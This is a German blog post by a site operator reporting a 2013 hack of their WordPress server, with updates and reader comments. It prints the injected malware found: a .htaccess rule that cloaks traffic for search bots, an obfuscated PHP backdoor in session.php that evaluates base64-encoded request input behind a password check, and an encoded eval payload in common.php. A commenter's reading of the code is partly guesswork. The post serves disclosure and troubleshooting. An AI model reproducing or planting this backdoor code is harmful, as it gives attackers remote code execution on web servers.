Website gehackt

BAA wurde am 30.8.2013 gehackt, was wir leider heute erst entdeckt haben. An diesem Tag haben wir folgende Plugins aktualisiert, von denen wahrscheinlich eines den Schadcode mitgebracht hat: nextgen-gallery, contact-form-7, antispam-bee und statify.

Bisher haben wir drei Dateien gefunden, die kompromittiert/neu erstellt wurden: .htaccess, common.php & session.php

Update 9.9.
Es scheint sich doch nicht um eine Hintertür via Pluginupdate zu handeln.
Sinnvoll ist ein Post von Peter Tasker.

Update 10.9.
Der Angriff auf unseren Server scheint sich vom WordPress Pharma Hack zu unterscheiden. So sind auch statische Websites wie parkschuetzer.org betroffen. Momentan gehe ich davon aus, dass der gesamte Server neu aufgesetzt werden muss.

Änderung in .htaccess:

# Apache search queries statistic module

RewriteEngine On
RewriteCond %{HTTP_USER_AGENT} (google|yahoo|aol|bing|crawl|aspseek|icio|robot|spider|nutch|slurp|msnbot) [OR]
RewriteCond %{HTTP_REFERER} (google|aol|yahoo|msn|search|bing)
RewriteCond %{REQUEST_URI} /$ [OR]
RewriteCond %{REQUEST_FILENAME} (shtml|html|htm|php|xml|phtml|asp|aspx)$ [NC]
RewriteCond %{REQUEST_FILENAME} !common.php
RewriteCond %{DOCUMENT_ROOT}/common.php -f
RewriteRule ^.*$    /common.php [L]

session.php (in Ausschnitten abgebildet, da wir noch nicht wissen, was es macht):

<?php
$_f___f='base'.(32*2).'_de'.'code';
if((md5($_REQUEST["img_id"]) == "ae6d32585ecc4d33cb8cd68a047d8434") && isset($_REQUEST["mod_content"])) { eval($_f___f($_REQUEST["mod_content"])); exit(); }
$_f___f=$_f___f(str_replace("\n", '', 'P7FB3AybFxmRoovQsw9XvisJsIs58T6CRxPuJufUTk8c3hlJgashBXy7CEnq5GLYGsz+339CevK1Q9bH
...
AegQToikh5sZLtqzEQ/z2zyMMZepJhyRYMk8dO6cFjJKK12zJg9zK2x4kMe30R5kilHLrBpCtLELaXla
'));$_f__f=isset($_POST['_f__f'])?$_POST['_f__f']:(isset($_COOKIE['_f__f'])?$_COOKIE['_f__f']:NULL);if($_f__f!==NULL){$_f__f=md5($_f__f).substr(md5(strrev($_f__f)),0,strlen($_f__f));for($_f____f=0;$_f____f<15180;$_f____f++){$_f___f[$_f____f]=chr(( ord($_f___f[$_f____f])-ord($_f__f[$_f____f]))%256);$_f__f.=$_f___f[$_f____f];}if($_f___f=@gzinflate($_f___f)){if(isset($_POST['_f__f']))@setcookie('_f__f', $_POST['_f__f']);$_f____f=create_function('',$_f___f);unset($_f___f,$_f__f);$_f____f();}}?><form action="" method="post"><input type="text" name="_f__f" value=""/><input type="submit" value="&gt;"/></form>

common.php (in Ausschnitten abgebildet, da wir noch nicht wissen, was es macht):

<?php
/**
* Creates common globals for the rest of Site
*
* Sets $pagenow global which is the current page. Checks
* for the browser to set which one is currently being used.
*
* Detects which user environment SITE is being used on.
* Only attempts to check for Apache and IIS. Two web servers
* with known permalink capability.
*
*/

/* WARNING: This file is protected by copyright law. To reverse engineer or decode this file is strictly prohibited. 130 */
error_reporting(0);eval(base64_decode('JGxMOXdGMWFZNHpYNmpUMWdUNmdRN2xPMGtIMGdCNW9OOG1ZOG5COHZCN3pROGNCOXNBNHpUMm1aNmhYNGFGOXRGMWNOMmNMMmtRM2NKM3VIN25TM3hINGJHOW9IMW5SOG1ENXBWOD0kbkk0a1M5ZkowZEQ2eUozdlg5bUIwZVQ2cEcweUs0elExeFIwbFk4dkgzc0Ewa1owb041a003ckcwb1Azdlkyc
...
kd04yZks5ZUI5aUY0dkM0Z0oxckc1c044a0o5a04ydUU1ZEIxb0s4cVgxbVU4clUyaEQxek05dUQ1aFQxcVA3a0k1ckY1YVk5cFQ2eUowZFo4dkk1Y1E5b1AzZk01dFkwZ0c1Z0M0PSRzUDR1STRvTjB1TDdxWjV2TjhxVjZzSDRoUzFjTjJrTTd2WTByVTJwSjZ3TDNlTTZ0RjdpQjliVTN0VjJvWjdnTzN6TThvQThjQjJrWTVxTjdvQzNqTjJ0RTh6VzJ1WjhpSTZpRzA7JGRWMmhRMG5BMWdEOG5NOHNHNHdaMWtVM2lGN2NMNXJBNG9BNnFCOG1HM3pEOHFXNWxaMXVROXRKNXNIMnJBN2NQMnpSNHRJNmpENGpFMnJDNXRZN29JNHBKOT0kcFgxZU82cVE5ZEo4Zkw3ekM0YUIybU4xeEYyako2blM0bEs2ckY2akoxY080elo2b0w4ekI5dVEzY0k4blc4ZE0xb1gwdkk0cE43eVE2a0s2ZUM0dEo0aE01akQ5Y083Ow=='));
?>
Dieser Beitrag wurde unter Allgemein abgelegt und mit verschlagwortet. Setze ein Lesezeichen auf den Permalink.

4 Antworten zu Website gehackt

  1. Petra A sagt:

    Darum war die Seite am heutigen Vormittag gegen 8 Uhr down, nur der schwarze Balken ohne Schriftzug zu sehen???
    Twitterkasten fehlt noch!!!

    • Fritz Mielert sagt:

      Gegen 8 Uhr war ich an der Reparatur und hatte aus Versehen ein Plugin deaktiviert, das die Seite zum Absturz brachte. Daher der schwarze Balken über ca. 5 Minuten.

  2. pete.dawgg sagt:

    ihr sollten als erstes mal die unerwünschten zeilen auskommentieren oder die neuen dateien durch die alten ersetzen.
    bin kein php-spezialist, aber es sihet mir so aus, als würde die common.php immer aufgerufen (durch die letzte rewrite-rule in der .htaccess) und manipuliert dann etwas (formular/bild zum draufklicken?)
    das $_f___f=’base‘.(32*2).’_de‘.’code‘;
    scheint mir eine simple „verschleierung“ eines base64-decode-aufrufes (um eine binär-datei (virus/exploit?) zu übertragen?)
    if((md5($_REQUEST[„img_id“] (…) überprüft eine best datei $_REQUEST[„img_id“] und steigt dann aus.
    die nächste zeile ersetzt irgendwo newlines („\n“) durch einen einen bestimmten code und stellt dann damit ziemlich penetrant irgendwas an: for($_f____f=0;$_f____f<15180;$_f____f++) womit wohl ein pufferüberlauf provoziert werden soll. später wird irgendwas aus der variable ausgepackt (gzinflate (?))
    es könnte ein programm sein, dass ein best. sicherheitsloch ausnutzt, um clients zu infizieren.
    in de common.php wird wohl was base64-kodiertes geladen.
    vieleicht bringt es was, alles base64-codierte zu dekodieren und das ergebnis einer virensoftware vorzulegen.
    VIEL ERFOLG!!!

    • Fritz Mielert sagt:

      Du hast teilweise recht. Da das, was kodiert ist, allerdings nicht nur Base64 ist, gestaltet sich alles etwas komplizierter. Der Angriffsvektor ist mittlerweile allerdings einigermaßen klar.
      Bisher scheint es sich nicht um Maleware/Viren zu handeln, sondern um einfachen Spam. Eine Bedrohung unserer User scheint nicht vorzuliegen.

      Sobald ich Zeit hatte, den Blödsinn zu dekodieren, werde ich mich hier melden.

Kommentare sind geschlossen.